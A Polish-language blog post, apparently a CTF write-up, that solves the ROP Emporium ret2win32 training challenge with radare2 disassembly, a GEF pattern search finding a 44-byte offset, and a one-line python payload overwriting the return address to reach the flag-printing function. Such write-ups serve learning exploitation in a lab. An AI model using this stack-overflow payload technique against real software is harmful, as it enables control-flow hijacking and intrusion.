“No przecież piszę tego posta…” - foxtrot_charlie

0bd2f9b87f862629f04ba850c60bb890f9a80c7ca7e293503f298a93c08b6c54

0x00 - Wracamy po dłuższej przerwie

Ostatni rok był dla mnie bardzo szczególny. Nie wchodząc nadmiernie w nudne tłumaczenia, chciałbym zdementować jakobym rzucił tego bloga. Po prostu brakło czasu, a skill sam się nie wyekspi. Co nie znaczy, że zostałem pr0 h4Xi0r3m. Do tego jeszcze długa droga, tym niemniej wracam na scenę (taką jednoosobową, jak ten blog!). Skoro nowy rok to i stary ja :D!

Tym nieco zrzędliwym wstępem rozpocząłem kolejny wpis po polskiej stronie bloga. Bardzo chciałbym pisać częśćiej. I mam wrażenie, że to się uda… Na razie przede mną jeden z ważniejszych CTFów w życiu - obrona pracy dyplomowej, więc jeśli FC zamilknie w lutym, to proszę nie wysyłać CSAR ani MEDEVAC. A co dziś w menu?

Osobiście uważam ROP za jedną z ciekawszych form eksploitacji. Lata frywolnego wywalania programów i wykonywania dowolnego kodu (Phrack - Smashing the Stack for Fun and Pofit) zostało ukrócone przez DEP/NX, W xor X, ASLR. Ktoś mądry stwierdził wtedy, że nie to nie, skoro nie mogę użyć własnego kodu, to sobie wykorzystam kod programu, skoro już tam jest.

Zawsze aby lepiej zrozumieć zagadnienie, lubię sobie nad nim troszeczkę pogłówkować i spróbować rozwiązać jakiś problem, nazwijmy go inżynierski. Dlatego postanowiłem przećwiczyć cough programowanie zorientowane na powracanie cough (przepraszam, nie mogłem się oprzeć…), na zadankach CTFowych. Ale żeby daleko ich nie szukać, na warsztat wziąłem znane taski ze zbioru ROP Emporium.

W każdym kolejnym poście postaram się poruszyć jedno wyzwanie z ROP.

Na wstępie chciałbym zaznaczyć, że niniejszy artykuł to zbiór moich notatek z placu boju. Mogą się pojawić skróty myślowe oraz nie do końca śmieszny humor

0x01 ret2win32 - rozpoznanie

Pierwszym zadaniem z serii ROP-E jest ret2win <spoiler_alert=off\>. Celem tego wyzwania będzie przekierowanie flow programu przez nadpisanie adresu powrotu.

Odpaliwszy najbardziej hakierską dystrybucję Linuxa we Wszechświecie (no dobra, drugą po Pentoo, ale nie miałem czasu na kompilację) możemy zaczynać! Na początek niewielki rekonesans. Niby to zadanie zostało dobrze opisane przez Autorów, niemniej w celu odkurzenia narzędzi przeprowadzę szybkie rozpoznanie. Warto pamiętać, że:

Godziny prób i błędów mogą zaoszczędzić 5 minut czytania dokumentacji

Dlatego weryfikacja obietnic złożonych przy linku z zadaniem może się przydać i pomoże utwierdzić się w przekonaniu o zrozumieniu założeń wyzwania.


[0x08048480]> i
blksz    0x0
block    0x100
fd       3
file     ret2win32
format   elf
iorw     false
mode     r-x
size     0x1e04
humansz  7.5K
type     EXEC (Executable file)
arch     x86
baddr    0x8048000
binsz    6442
bintype  elf
bits     32
canary   false
sanitiz  false
class    ELF32
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
static   false
stripped false
subsys   linux
va       true

32 bitowy ELF, bez kanarków na stosie, NX włączony, binarka nieostripowana. Spójrzmy na funkcje…


root@kali:~/rop# r2 ret2win32
 -- Experts agree, security holes suck, and we fixed some of them!
[0x08048480]> aaaaaaa
An r2 developer is coming to your place to manually analyze this program. Please wait for it

--press any key--

Niestety czekałem ponad 4h i nikt nie przyszedł. Spróbuję w inny dzień. To by było na tyle, cześć!*

No dobra, głupio wrzucać post z teaserem rozwiązania zadania, po czym kończyć dlatego, że mi licencja na developerów radare2 wygasła. Poniższy listing pokazuje listę funkcji w rozważanej binarce.


[0x08048480]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Enable constraint types analysis for variables
[0x08048480]> afl
0x080483c0    3 35           sym._init
0x08048400    1 6            sym.imp.printf
0x08048410    1 6            sym.imp.fgets
0x08048420    1 6            sym.imp.puts
0x08048430    1 6            sym.imp.system
0x08048440    1 6            sym.imp.__libc_start_main
0x08048450    1 6            sym.imp.setvbuf
0x08048460    1 6            sym.imp.memset
0x08048470    1 6            sub.__gmon_start_8048470
0x08048480    1 33           entry0
0x080484b0    1 4            sym.__x86.get_pc_thunk.bx
0x080484c0    4 43           sym.deregister_tm_clones
0x080484f0    4 53           sym.register_tm_clones
0x08048530    3 30           sym.__do_global_dtors_aux
0x08048550    4 43   -> 40   entry.init0
0x0804857b    1 123          sym.main
0x080485f6    1 99           sym.pwnme
0x08048659    1 41           sym.ret2win
0x08048690    4 93           sym.__libc_csu_init
0x080486f0    1 2            sym.__libc_csu_fini
0x080486f4    1 20           sym._fini

Trzy funkcje, na które napewno warto spojrzeć:

0x0804857b    1 123          sym.main
0x080485f6    1 99           sym.pwnme
0x08048659    1 41           sym.ret2win

0x01 ret2win32 - szybka eksploitacja

Ale zanim przejdziemy do dalszej części tego zadania, odpalmy binarkę:


root@kali:~/rop# ./ret2win32
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

SIDENOTE: uruchomienie nastąpiło z roota, ale na VMce ze zaktualizowanym HyperVizorem więc mam nadzieję, że przeżyję ;)

Baner binarki nie kłamał. Rzeczywiście próbuje zmieścić trochę więcej danych niż faktyczna pojemność bufora (albo segfault rzucany jest z innego powodu gdy podamy input > 32 znaków, zaraz to sprawdzimy). Spójrzmy najpierw na funkcję main.


[0x08048480]> pdf @ sym.main
            ;-- main:
 (fcn) sym.main 123
   int sym.main (int argc, char **argv, char **envp);
           ; var int local_4h @ ebp-0x4
           ; arg int arg_4h @ esp+0x4
           ; DATA XREF from entry0 (0x8048497)
           0x0804857b      8d4c2404       lea ecx, [arg_4h]           ; 4
           0x0804857f      83e4f0         and esp, 0xfffffff0
           0x08048582      ff71fc         push dword [ecx - 4]
           0x08048585      55             push ebp
           0x08048586      89e5           mov ebp, esp
           0x08048588      51             push ecx
           0x08048589      83ec04         sub esp, 4
           0x0804858c      a164a00408     mov eax, dword [obj.stdout] ; obj.stdout__GLIBC_2.0 ; [0x804a064:4]=0
           0x08048591      6a00           push 0
           0x08048593      6a02           push 2                      ; 2
           0x08048595      6a00           push 0
           0x08048597      50             push eax
           0x08048598      e8b3feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
           0x0804859d      83c410         add esp, 0x10
           0x080485a0      a140a00408     mov eax, dword [obj.stderr] ; obj.stderr__GLIBC_2.0 ; [0x804a040:4]=0
           0x080485a5      6a00           push 0
           0x080485a7      6a02           push 2                      ; 2
           0x080485a9      6a00           push 0
           0x080485ab      50             push eax
           0x080485ac      e89ffeffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
           0x080485b1      83c410         add esp, 0x10
           0x080485b4      83ec0c         sub esp, 0xc
           0x080485b7      6810870408     push str.ret2win_by_ROP_Emporium ; 0x8048710 ; "ret2win by ROP Emporium"
           0x080485bc      e85ffeffff     call sym.imp.puts           ; int puts(const char *s)
           0x080485c1      83c410         add esp, 0x10
           0x080485c4      83ec0c         sub esp, 0xc
           0x080485c7      6828870408     push str.32bits             ; 0x8048728 ; "32bits\n"
           0x080485cc      e84ffeffff     call sym.imp.puts           ; int puts(const char *s)
           0x080485d1      83c410         add esp, 0x10
           0x080485d4      e81d000000     call sym.pwnme
           0x080485d9      83ec0c         sub esp, 0xc
           0x080485dc      6830870408     push str.Exiting            ; 0x8048730 ; "\nExiting"
           0x080485e1      e83afeffff     call sym.imp.puts           ; int puts(const char *s)
           0x080485e6      83c410         add esp, 0x10
           0x080485e9      b800000000     mov eax, 0
           0x080485ee      8b4dfc         mov ecx, dword [local_4h]
           0x080485f1      c9             leave
           0x080485f2      8d61fc         lea esp, [ecx - 4]
           0x080485f5      c3             ret
[0x08048480]>

Wywoływana z main(), funkcja sym.pwnme została przedstawiona na listingu poniżej. Jak można się domyślić, to jest nasza podatna funkcja. W celu rozwiązania zadania (i przeczytania zawartości pliku flag.txt) należy wykorzystać błędną sanityzację danych (a właściwie błędną obsługę ich długości) aby przekierować wykonanie kodu do funkcji sym.ret2win


[0x08048480]> pdf @ sym.pwnme
 (fcn) sym.pwnme 99
   sym.pwnme ();
           ; var int local_28h @ ebp-0x28
           ; CALL XREF from sym.main (0x80485d4)
           0x080485f6      55             push ebp
           0x080485f7      89e5           mov ebp, esp
           0x080485f9      83ec28         sub esp, 0x28               ; '('
           0x080485fc      83ec04         sub esp, 4
           0x080485ff      6a20           push 0x20                   ; 32
           0x08048601      6a00           push 0
           0x08048603      8d45d8         lea eax, [local_28h]
           0x08048606      50             push eax
           0x08048607      e854feffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
           0x0804860c      83c410         add esp, 0x10
           0x0804860f      83ec0c         sub esp, 0xc
           0x08048612      683c870408     push str.For_my_first_trick__I_will_attempt_to_fit_50_bytes_of_user_input_into_32_bytes_of_stack_buffer___What_could_possibly_go_wrong ; 0x804873c ; "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?"
           0x08048617      e804feffff     call sym.imp.puts           ; int puts(const char *s)
           0x0804861c      83c410         add esp, 0x10
           0x0804861f      83ec0c         sub esp, 0xc
           0x08048622      68bc870408     push str.You_there_madam__may_I_have_your_input_please__And_don_t_worry_about_null_bytes__we_re_using_fgets ; 0x80487bc ; "You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n"
           0x08048627      e8f4fdffff     call sym.imp.puts           ; int puts(const char *s)
           0x0804862c      83c410         add esp, 0x10
           0x0804862f      83ec0c         sub esp, 0xc
           0x08048632      6821880408     push 0x8048821
           0x08048637      e8c4fdffff     call sym.imp.printf         ; int printf(const char *format)
           0x0804863c      83c410         add esp, 0x10
           0x0804863f      a160a00408     mov eax, dword [obj.stdin]  ; obj.stdin__GLIBC_2.0 ; [0x804a060:4]=0
           0x08048644      83ec04         sub esp, 4
           0x08048647      50             push eax
           0x08048648      6a32           push 0x32                   ; '2' ; 50
           0x0804864a      8d45d8         lea eax, [local_28h]
           0x0804864d      50             push eax
           0x0804864e      e8bdfdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
           0x08048653      83c410         add esp, 0x10
           0x08048656      90             nop
           0x08048657      c9             leave
           0x08048658      c3             ret
[0x08048480]>

Sama docelowa funkcja, którą należy wykonać jest bardzo prosta:


[0x08048480]> pdf @ sym.ret2win
 (fcn) sym.ret2win 41
   sym.ret2win ();
           0x08048659      55             push ebp
           0x0804865a      89e5           mov ebp, esp
           0x0804865c      83ec08         sub esp, 8
           0x0804865f      83ec0c         sub esp, 0xc
           0x08048662      6824880408     push str.Thank_you__Here_s_your_flag: ; 0x8048824 ; "Thank you! Here's your flag:"
           0x08048667      e894fdffff     call sym.imp.printf         ; int printf(const char *format)
           0x0804866c      83c410         add esp, 0x10
           0x0804866f      83ec0c         sub esp, 0xc
           0x08048672      6841880408     push str.bin_cat_flag.txt   ; 0x8048841 ; "/bin/cat flag.txt"
           0x08048677      e8b4fdffff     call sym.imp.system         ; int system(const char *string)
           0x0804867c      83c410         add esp, 0x10
           0x0804867f      90             nop
           0x08048680      c9             leave
           0x08048681      c3             ret
[0x08048480]>

0x08048677 to adres wywołania funkcji system() z argumentem "/bin/cat flag.txt" (wrzucony na stack instrukcję wyżej). To musi być cel! (A niby wystarczyło pobrać zbiór zadań i dla każdego zipa wyświetlić flag.txt ;P )

No dobrze, więc jak do tego przystąpić? Zacznijmy od analizy sym.pwnme i określenia liczby bajtów potrzebnych do nadpisania instruction pointera. Do tego celu użyłem GDB wraz z rozszerzeniem GEF. Korzystając z ciągu de Bruijna:


gef➤  pattern create 50
[+] Generating a pattern of 50 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
[+] Saved as '$_gef0'
gef➤  r
Starting program: /root/rop/ret2win32
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama

Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffd300"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
$ebx   : 0x0
$ecx   : 0xf7fa789c  →  0x00000000
$edx   : 0xffffd300"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
$esp   : 0xffffd3300xf7fe006d jge 0xf7fe0077
$ebp   : 0x6161616b ("kaaa"?)
$esi   : 0xf7fa6000  →  0x001d9d6c
$edi   : 0xf7fa6000  →  0x001d9d6c
$eip   : 0x6161616c ("laaa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────── stack ────
0xffffd330│+0x0000: 0xf7fe006d jge 0xf7fe0077     ← $esp
0xffffd334│+0x0004: 0xffffd350  →  0x00000001
0xffffd338│+0x0008: 0x00000000
0xffffd33c│+0x000c: 0xf7de6b41<__libc_start_main+241> add esp, 0x10
0xffffd340│+0x0010: 0xf7fa6000  →  0x001d9d6c
0xffffd344│+0x0014: 0xf7fa6000  →  0x001d9d6c
0xffffd348│+0x0018: 0x00000000
0xffffd34c│+0x001c: 0xf7de6b41<__libc_start_main+241> add esp, 0x10
───────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6161616c
───────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2win32", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────trace ────
gef➤  pattern search $eip
[+] Searching '$eip'
[+] Found at offset 44 (little-endian search) likely
[+] Found at offset 41 (big-endian search)
gef➤  

Adresem funkcji, pod który trzeba powrócić po wykonaniu sym.pwnme jest 0x08048659. Czy to wystarczy? W tym przypadku powinno. Aby się o tym przekonać, zapiszmy cały bufor losowymi wartościami - długość tego ciągu powinna wynosić 44 bajty, a następnie nadpiszmy wartość powrotu adresem ret2win. Oto efekt:


root@kali:~/rop# python -c "print 'A'*44 + '\x59\x86\x04\x08' " | ./ret2win32
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}

ROPE{a_placeholder_32byte_flag!}

Badum tss! Dobra, czas na coś trudniejszego…

Do zobaczenia w Internecie!

foxtrot_charlie